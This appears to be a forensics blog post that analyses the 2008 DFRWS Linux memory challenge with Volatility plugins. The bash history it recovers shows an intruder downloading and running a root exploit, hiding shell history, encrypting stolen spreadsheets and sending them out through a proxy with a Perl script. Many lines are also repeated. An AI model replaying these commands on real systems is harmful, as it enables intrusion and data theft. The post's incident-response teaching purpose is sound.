In this blog post I will go through
analyzing the memory sample that was part of the 2008 DFRWS challenge. This challenge was focused on a Linux computer
that had sensitive files transferred from it. Due to its complexity and
thoroughness, the challenge is well known throughout the forensics community
and has been referenced by a number of research projects since being released.
analyzing the memory sample that was part of the 2008 DFRWS challenge. This challenge was focused on a Linux computer
that had sensitive files transferred from it. Due to its complexity and
thoroughness, the challenge is well known throughout the forensics community
and has been referenced by a number of research projects since being released.
Obtaining the Sample
The sample for this blog post can be
obtained from the DFRWS challenge file’s page here. The file is
named ‘challenge.mem’ inside the compressed archive.
obtained from the DFRWS challenge file’s page here. The file is
named ‘challenge.mem’ inside the compressed archive.
Obtaining the Volatility Profile
Since version 2.2 of Volatility has been
placed into trunk, we have received numerous requests for built-in support of the
DFRWS sample. This led us to creating and hosting a profile for it, which can
be found on the Linux
Profiles Wiki page.
placed into trunk, we have received numerous requests for built-in support of the
DFRWS sample. This led us to creating and hosting a profile for it, which can
be found on the Linux
Profiles Wiki page.
Analyzing the Image
We will walk through analyzing the image
is two phases. First, we will compare the current capabilities of Volatility
with those that were used in the winning submission of the competition. The
complete set of analysis files uploaded by the winning team can be found here.
Second, we will discuss relevant features of Volatility that perform deep analysis
not available at the time of the challenge.
is two phases. First, we will compare the current capabilities of Volatility
with those that were used in the winning submission of the competition. The
complete set of analysis files uploaded by the winning team can be found here.
Second, we will discuss relevant features of Volatility that perform deep analysis
not available at the time of the challenge.
Parallel Capabilities
We will now show how to recreate much of
the winning team’s output using the current state of Volatility. This serves as
a useful explanation of Volatility’s current plugins and also guidance for
people who have previously studied the winning challenge submission. After the official 2.2 release next week, you
can use the Volatility Command Reference (accessible from the Release22 page) for all the Linux plugins discussed.
the winning team’s output using the current state of Volatility. This serves as
a useful explanation of Volatility’s current plugins and also guidance for
people who have previously studied the winning challenge submission. After the official 2.2 release next week, you
can use the Volatility Command Reference (accessible from the Release22 page) for all the Linux plugins discussed.
These files contain the opened files for each process. The linux_lsof plugin recovers the same information.
This file contains the active network connections for each process. The linux_netstat plugin recovers the same information.
These files contain the kernel debug buffer. The linux_dmesg plugin recovers the same information.
This file contains high level information about the kmem cache. The linux_slabinfo Volatility plugin recovers complete information about each active kmem cache.
These files contain the loaded kernel modules active on the system. The linux_lsmod plugin performs the same functionality, and can also recover the parameters and sections for each module
This file contains high level information about the mounted filesystems. The linux_mount Volatility plugin recovers the same information.
The file contains the opened files
per-filesystem. There is currently no Volatility plugin that operates the same
as this crash module, but the linux_dentry_cache
plugin can be used to recover a superset of this information. The dentry
cache plugin recovers the filesystem in memory for each active mount point and
can also recover filenames of previously deleted files as well.
per-filesystem. There is currently no Volatility plugin that operates the same
as this crash module, but the linux_dentry_cache
plugin can be used to recover a superset of this information. The dentry
cache plugin recovers the filesystem in memory for each active mount point and
can also recover filenames of previously deleted files as well.
These files contain information about running processes. The crash_ps_args.txt file also contains the command line arguments and environment variables for each process. The linux_pslist plugin can be used to list processes and the linux_psaux plugin can recover command line options. The next version of linux_psaux will also support environment variables.
These files were listed as having been recovered from memory, likely through strings, grep, or other primitive forensics techniques. The linux_find_file plugin can be used to directly recover these files from memory:
# python vol.py –profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_find_file -F /etc/passwd
Volatile Systems Volatility Framework 2.2_rc2
Inode Number Inode
—————- ———-
975039 0xd100b4ac
# python vol.py –profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_find_file -F /etc/group
Volatile Systems Volatility Framework 2.2_rc2
Inode Number Inode
—————- ———-
975309 0xd0cc8c5c
# python vol.py –profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_find_file -i 0xd100b4ac -O passwd
# python vol.py –profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_find_file -i 0xd0cc8c5c -O group
10. linvm.txt
This file lists the memory maps for each process. The linux_proc_maps Volatility plugin recovers the same information.
11. linpsscan.txt
This file contains a list of processes that were recovered through carving. While Volatility does not currently have a Linux process carver, it does have the linux_pslist_cache plugin. When run with the -u/–unallocated option, this plugin will recover processes that have previously terminated.
This file contains the ARP entries on a computer. The linux_arp plugin recovers the same information.
This plugin lists data about each network interface on a computer. This linux_ifconfig plugin recovers very similar data.
This plugin contains the routing cache
at the time of the memory dump. The linux_route_cache
plugin performs the same functionality.
at the time of the memory dump. The linux_route_cache
plugin performs the same functionality.
New
Capabilities
Capabilities
We
will now discuss two key capabilities present in Volatility that were not
available or developed by the winning team.
will now discuss two key capabilities present in Volatility that were not
available or developed by the winning team.
1. Recovering
Files from Memory
Files from Memory
As
we have seen throughout the Linux focused MoVP posts, the linux_find_file command is very powerful in a number of situations.
This plugin allows the investigator to find the inode structure for a file and then recover file contents from
memory.
we have seen throughout the Linux focused MoVP posts, the linux_find_file command is very powerful in a number of situations.
This plugin allows the investigator to find the inode structure for a file and then recover file contents from
memory.
In
the writeup for the winning submission, there are references to a folder named “Admin_share”,
which is where sensitive documents were stored. To find information about this
folder, we can use the linux_dentry_cache
plugin to list all files referenced in this folder from memory:
the writeup for the winning submission, there are references to a folder named “Admin_share”,
which is where sensitive documents were stored. To find information about this
folder, we can use the linux_dentry_cache
plugin to list all files referenced in this folder from memory:
# python vol.py –profile=Linuxdfrws-profilex86 -f
../dfrws/challenge.mem linux_dentry_cache > dentry_cache_out
../dfrws/challenge.mem linux_dentry_cache > dentry_cache_out
# python vol.py –profile=Linuxdfrws-profilex86 -f
../dfrws/challenge.mem linux_dentry_cache –u >> dentry_cache_out
../dfrws/challenge.mem linux_dentry_cache –u >> dentry_cache_out
This
will recover all files and metadata information from their inode structure and write the results in bodyfile format. Once we
have all the files listed, we can then grep for our folder of interest:
will recover all files and metadata information from their inode structure and write the results in bodyfile format. Once we
have all the files listed, we can then grep for our folder of interest:
# grep Admin_share dentry_cache_out
0|Admin_share/xfer.pl|262633|0|500|500|3209|3469836868|3469836876|0|3469836884
0|Admin_share/intranet.vsd|262647|0|500|500|460288|3469839556|3469839564|0|3469839572
0|Admin_share/acct_prem.xls|262646|0|500|500|141824|3469839172|3469839180|0|3469839188
0|Admin_share/domain.xls|262645|0|500|500|100864|3469838788|3469838796|0|3469838804
0|Admin_share/rtp-stego-code.tgz|262634|0|500|500|52493|3469837252|3469837260|0|3469837268
0|Admin_share/libfindrtp-0.4b.tar.gz|262635|0|500|500|10376|3469837636|3469837644|0|3469837652
0|Admin_share/negotiation
notes.txt|262638|0|500|500|354|3469838020|3469838028|0|3469838036
notes.txt|262638|0|500|500|354|3469838020|3469838028|0|3469838036
0|Admin_share/ftp.pcap|262640|0|500|500|2395|3469838404|3469838412|0|3469838420
0|Admin_share|262632|0|500|500|4096|3469836484|3469836492|0|3469836500
We
now have found references to a number of interesting files and can use linux_find_files to extract them:
now have found references to a number of interesting files and can use linux_find_files to extract them:
# python vol.py
–profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_find_file -F
/mnt/hgfs/Admin_share/xfer.pl
–profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_find_file -F
/mnt/hgfs/Admin_share/xfer.pl
Volatile
Systems Volatility Framework 2.2_rc2
Systems Volatility Framework 2.2_rc2
Inode
Number Inode
Number Inode
—————-
———-
———-
262633 0xced18200
# python vol.py
–profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_find_file -i
0xced18200 -O xfer.pl
–profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_find_file -i
0xced18200 -O xfer.pl
Volatile
Systems Volatility Framework 2.2_rc2
Systems Volatility Framework 2.2_rc2
#
file xfer.pl
file xfer.pl
xfer.pl:
a /usr/bin/perl script text executable
a /usr/bin/perl script text executable
2. Orderly
Recovery of Bash History
Recovery of Bash History
In previous MoVP posts we have used the linux_bash plugin to recover bash
history from memory. In order for this
plugin to work though, it requires the address of the array of commands
entered. To determine this value normally requires a copy of /bin/bash from the analyzed computer,
but unfortunately we only have a memory image and linux_find_file was unable to recover the bash binary from memory.
We needed a different and new approach.
history from memory. In order for this
plugin to work though, it requires the address of the array of commands
entered. To determine this value normally requires a copy of /bin/bash from the analyzed computer,
but unfortunately we only have a memory image and linux_find_file was unable to recover the bash binary from memory.
We needed a different and new approach.
Our first thought was to simply explore
the heap of any bash process and brute force all addresses within the heap to
see if the plugin worked. This hit a
roadblock though as the linux_proc_maps plugin
was not reporting any memory mapping as the heap. Confused, we added debugging prints
to the plugin in order to determine where the heap should be based off the brk and brk_start members of mm_struct. The debug prints showed that the brk and brk_start members actually pointed into separate and non-adjacent
memory mappings!
the heap of any bash process and brute force all addresses within the heap to
see if the plugin worked. This hit a
roadblock though as the linux_proc_maps plugin
was not reporting any memory mapping as the heap. Confused, we added debugging prints
to the plugin in order to determine where the heap should be based off the brk and brk_start members of mm_struct. The debug prints showed that the brk and brk_start members actually pointed into separate and non-adjacent
memory mappings!
This means that either the process had a
fragmented heap, which we have never heard for Linux, or the tracking values
were not updated correctly. To compensate for this, we had the plugin
bruteforce across both memory ranges and report any addresses that looked like
bash history structures:
fragmented heap, which we have never heard for Linux, or the tracking values
were not updated correctly. To compensate for this, we had the plugin
bruteforce across both memory ranges and report any addresses that looked like
bash history structures:
# python vol.py –profile=Linuxdfrws-profilex86 -f
../dfrws/challenge.mem linux_bash -p 2585 -H 1
../dfrws/challenge.mem linux_bash -p 2585 -H 1
Volatile Systems
Volatility Framework 2.2_rc1
Volatility Framework 2.2_rc1
Command
Time Command
Time Command
——————–
——-
——-
good: 80f96b8 |
l.
l.
good: 80fa0e4 |
?H?X!?
?H?X!?
good: 80faaa8 |
? p??H?X!?
? p??H?X!?
good: 80fab1c |
uname -a
uname -a
good: 80fb52c |
xO??e
xO??e
good: 80fb5e8 |
shell-expand-line
shell-expand-line
good: 80fb638 |
Mon
Mon
Of these, the command at 0x80fab1c looks most reasonable as it
returns a real command (uname –a). I then reverted the changes to the plugin,
used linux_pslist to determine
instances of bash running, and specified our likely addresses as the one to
recover from:
returns a real command (uname –a). I then reverted the changes to the plugin,
used linux_pslist to determine
instances of bash running, and specified our likely addresses as the one to
recover from:
# python vol.py
–profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_bash -p 2585 -H
0x80fab1c
–profile=Linuxdfrws-profilex86 -f ../dfrws/challenge.mem linux_bash -p 2585 -H
0x80fab1c
Volatile Systems
Volatility Framework 2.2_rc2
Volatility Framework 2.2_rc2
Command
Time Command
Time Command
——————–
——-
——-
#1197861861 uname -a
#1197861861 who
#1197861861 ll -h
#1197861861 mkdir temp
#1197861861 ll -h
#1197861861 chmod o-xrw temp/
#1197861861 ll -h
#1197861861 cd temp/
#1197861861 cp /mnt/hgfs/Admin_share/*.xls .
#1197861861 cp /mnt/hgfs/Admin_share/*.pcap .
#1197861861 exit
#1197861861 uname -a
#1197861861 id
#1197861861 exit
#1197861861 X -v
#1197861861 X -V
#1197861861 X -version
#1197861861 cd temp
#1197861861 wget
http://metasploit.com/users/hdm/tools/xmodulepath.tgz
http://metasploit.com/users/hdm/tools/xmodulepath.tgz
#1197861861 tar -zpxvf xmodulepath.tgz
#1197861861 cd xmodulepath
#1197861861 ll
#1197861861 unset HISTORY
#1197861861 ./root.sh
#1197861861 exit
#1197861861 pwd
#1197861861 cd ..
#1197861861 cp /mnt/hgfs/Admin_share/intranet.vsd
.
.
#1197861861 ll
#1197861861 ls -lh
#1197861861 exit
#1197861880 ls /mnt/hgfs/Admin_share/
#1197861980 zip archive.zip
/mnt/hgfs/Admin_share/acct_prem.xls /mnt/hgfs/Admin_share/domain.xls
/mnt/hgfs/Admin_share/ftp.pcap
/mnt/hgfs/Admin_share/acct_prem.xls /mnt/hgfs/Admin_share/domain.xls
/mnt/hgfs/Admin_share/ftp.pcap
#1197862015 unset HISTFILE
#1197862019 unset HISTSIZE
#1197862066 zipcloak archive.zip
#1197862105 ll -h
#1197862134 cp /mnt/hgfs/software/xfer.pl .
#1197862137 ll -h
#1197862196 export
http_proxy=”http://219.93.175.67:80″
http_proxy=”http://219.93.175.67:80″
#1197862200 env | less
#1197862316 ./xfer.pl archive.zip
#1197865970 unset http_proxy
#1197865973 rm xfer.pl
#1197866006 dir
#1197866009 rm archive.zip
# python vol.py –profile=Linuxdfrws-profilex86 -f
../dfrws/challenge.mem linux_bash -p 2921 -H 0x80fab1c
../dfrws/challenge.mem linux_bash -p 2921 -H 0x80fab1c
Volatile Systems
Volatility Framework 2.2_rc2
Volatility Framework 2.2_rc2
Command
Time Command
Time Command
——————–
——-
——-
#1197862634 uname -a
#1197862634 who
#1197862634 ll -h
#1197862634 mkdir temp
#1197862634 ll -h
#1197862634 chmod o-xrw temp/
#1197862634 ll -h
#1197862634 cd temp/
#1197862634 cp /mnt/hgfs/Admin_share/*.xls .
#1197862634 cp /mnt/hgfs/Admin_share/*.pcap .
#1197862634 exit
#1197862634 uname -a
#1197862634 id
#1197862634 exit
#1197862634 X -v
#1197862634 X -V
#1197862634 X -version
#1197862634 cd temp
#1197862634 wget
http://metasploit.com/users/hdm/tools/xmodulepath.tgz
http://metasploit.com/users/hdm/tools/xmodulepath.tgz
#1197862634 tar -zpxvf xmodulepath.tgz
#1197862634 cd xmodulepath
#1197862634 ll
#1197862634 unset HISTORY
#1197862634 ./root.sh
#1197862634 exit
#1197862634 pwd
#1197862634 cd ..
#1197862634 cp /mnt/hgfs/Admin_share/intranet.vsd
.
.
#1197862634 ll
#1197862634 ls -lh
#1197862634 exit
#1197862646 netstat -tupan
#1197862716 netstat -tupan
#1197862955 netstat -tupan
#1197863124 netstat -tupan
#1197863195 netstat -tupan
#1197863230 netstat -tupan
#1197863281 netstat -tupan
#1197863543 netstat -tupan
#1197863623 netstat -tupan
#1197863726 netstat -tupan
#1197863945 netstat -tupan
#1197863991 netstat -tupan
#1197864058 netstat -tupan
#1197864123 ping yahoo.com
#1197864137 ping 192.168.151.1
#1197864248 ping 192.168.151.1
#1197864251 netstat -tupan
#1197864680 netstat -tupan
#1197864820 netstat -tupan
#1197864904 netstat -tupan
#1197865254 netstat -tupan
#1197865458 netstat –tupan
As we can see from the output, the
machine was compromised and files were transferred from it. We also see that
Matthew Geiger really enjoys running the netstat command (almost as much as Jesse K likes looking for his tools) 😉
machine was compromised and files were transferred from it. We also see that
Matthew Geiger really enjoys running the netstat command (almost as much as Jesse K likes looking for his tools) 😉
If there were no relevant instances of
bash running when the memory capture was taken, we could also use linux_find_file to recover .bash_history
files from memory. While these records may not be as complete (i.e. they
probably will not have timestamps), they are certainly better than being
reduced to strings and grep.
bash running when the memory capture was taken, we could also use linux_find_file to recover .bash_history
files from memory. While these records may not be as complete (i.e. they
probably will not have timestamps), they are certainly better than being
reduced to strings and grep.
Conclusion
We have demonstrated how to approach the
2008 DFRWS challenge image, as well as Linux incident response in general,
using Volatility. We hope this serves as a good learning lesson for those
wishing to perform further research and/or investigations in the field.
2008 DFRWS challenge image, as well as Linux incident response in general,
using Volatility. We hope this serves as a good learning lesson for those
wishing to perform further research and/or investigations in the field.
If you have any questions or comments
please use the comment section of the blog or you can find me on Twitter
(@attrc).
please use the comment section of the blog or you can find me on Twitter
(@attrc).